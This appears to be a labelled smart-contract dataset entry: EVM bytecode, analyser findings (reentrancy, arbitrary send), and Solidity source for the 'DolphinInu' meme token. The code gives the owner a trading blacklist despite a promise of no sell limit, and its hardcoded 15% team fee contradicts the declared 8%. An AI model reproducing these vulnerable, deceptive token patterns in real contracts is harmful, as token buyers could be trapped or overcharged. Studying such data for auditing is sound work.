fffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203270f1c8df2cba8f2af50ee823c4a9eb37b6d4d20e5ba1fc8d0af6f9ddaec61764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,669 |
0x7e0f10ddeb8c764e78f709e9c8d1283064092bd3
|
/**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
/**
*
$DolphinInu is going to launch in the uniswap at anytime you make!
📱 https://t.me/dolphininutoken
🦜 https://twitter.com/Dolphin_Inu
🕐 https://www.timeanddate.com/countdown/launch?iso=20210706T07&p0=822&msg=Dolphin+Inu+Launch&font=serif&csz=1
🔥 No Team Tokens
🧨 Ownership will be renounced
🔒 LP will be locked on Team.Finance
⏰ No cooldown
🧩 1% Buy limit at start
👏 No limit for sell.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DolphinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dolphin Inu | t.me/dolphininutoken";
string private constant _symbol = "Dolphinu \xF0\x9F\x90\xAC";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if (from != address(this)) {
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
